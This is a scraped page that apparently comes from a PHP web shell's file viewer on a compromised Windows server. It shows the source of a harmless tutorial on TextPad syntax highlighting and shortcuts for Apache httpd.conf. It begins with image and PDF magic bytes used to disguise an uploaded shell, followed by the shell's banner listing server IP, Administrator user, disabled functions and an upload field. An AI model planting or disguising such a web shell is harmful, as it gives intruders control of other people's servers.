GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/Setup/TextPad/ |
Upload File : |
<? // /JimMartinson/Setup/Textpad/Apache/TextpadApacheDocumentClassSetup.phpinc $title = "Textpad Apache Document Class Setup"; $headTitle = '_CST_ - '.$title; $pageTitle = '_CST_<br>'.$title; include('common/pageHeader.phpinc'); $sectionTitle = $title; include('common/sectionHeader.phpinc'); ?> <div class="center"> <a href="#Install">Install Textpad</a> <a href="#Shortcut">Create httpd.conf shortcut</a> <a href="#Config">Configure the conf Document Class</a> </div> <a name="Install">Install and configure the conf document class for httpd.conf:</a> <ol class="instruction"> <li>Right-click on the link here <a href="apache22.syn">apache22.syn syntax file</a> and select <b>Save Target As...</b> if using Internet Explorer (IE) or <b>Save Lin<u>k</u> As...</b> if using Firefox (FF). <br>Save this file in the system folder of your TextPad installation ("C:\Program Files\TextPad 5\system"). </li> <li>Open TextPad and select <strong><u>Configure</u></strong> and <strong>New Document <u>C</u>lass...</strong> from the menu. <br><img src="Configure_NewDocumentClass.png" alt="Configure New Document Class"> </li> <li>Enter <strong>conf</strong> as the Document class name and click Next. <br><img src="DocumentClassName.png" alt="Document class name: conf"> </li> <li>Enter <strong>*.conf</strong> as the Class members and click Next. <br><img src="DocumentClassMembers.png" alt="Document class members *.conf"> </li> <li>Click on <strong>Enable systax highlighting</strong>. <br>Select <strong>Apache22.syn</strong> from the Syntax definition file select box and click Next. <br><img src="DocumentClassSyntaxFile.png" alt="Syntax file apache22.syn"> </li> <li>Click Finish. <br><img src="DocumentClassFinish.png" alt="Document class finish"> <br>You are done with the basic conf Document Class configuration. You can <a href="javascript:window.open('','_parent','');window.close();" onClick="window.open('','_parent','');window.close();return false;">close</a> this window or continue on to setup a shortcut to your Apache httpd.conf file or changing the conf Document Class colors. </li> </ol> <a name="Shortcut">Create a shortcut to edit the Apache httpd.conf file:</a> <ol class="instruction"> <li>Make a copy of the TextPad shortcut (Mine was in <strong>Start</strong> <strong><u>P</u>rograms</strong>). <br><img src="TextPadShortcut.png" alt="TextPad shortcut"> </li> <li>Right-click on the shortcut and select <strong>P<u>r</u>operties</strong>. <br><img src="TextPadShortcuProperties.png" alt="TextPad shortcut properties"> </li> <li>Change the <strong>Target:</strong> on the Shortcut tab so it reads: <br><strong>"C:\Program Files\TextPad 5\TextPad.exe" "<?=$_SESSION['userDefaultDrive']?>:\Apache22\conf\httpd.conf"</strong> <br>Change the <strong>Start in:</strong> so it reads: <br><strong>D:\Apache22\conf\</strong> <br><img src="TextPadShortcutShortcut.png" alt="Textpad shortcut properties"> <br>Switch to the <strong>General</strong> tab and rename the shortcut <strong>Edit httpd.conf</strong> and click OK. <br><img src="TextPadShortcutGeneral.png" alt="Textpad shortcut rename"> <br>You are done creating the shortcut. You can <a href="javascript:window.open('','_parent','');window.close();" onClick="window.open('','_parent','');window.close();return false;">close</a> this window or continue on to change the conf Document Class colors. </li> </ol> <a name="Config">Change color and other settings for your conf Document Class:</a> <ol class="instruction"> <li>Open TextPad and select <strong><u>Configure</u></strong> and <strong><u>P</u>references</strong> from the menu. <br><img src="Configure_Preferences.png" alt="TextPad configure preferences"> </li> <li>Expand the <strong>Document Classes</strong> and <strong>conf</strong> elements. <br><img src="Configure_Preferences_conf1.png" alt="conf element"> </li> <li>You can now change Color, Font, Printing, Syntax, and Tabulation settings. <br>Note my change of <strong>Comments 2</strong> to <div class="inline" style="color:#FF0000; background-color:#FFFF00">red text on a yellow background</div>. <br><img src="Configure_Preferences_conf2.png" alt="conf colors"> </li> </ol> That's it for TextPad Apache Document Class, shortcut, and color setup. You can <a href="javascript:window.open('','_parent','');window.close();" onClick="window.open('','_parent','');window.close();return false;">close</a> this window.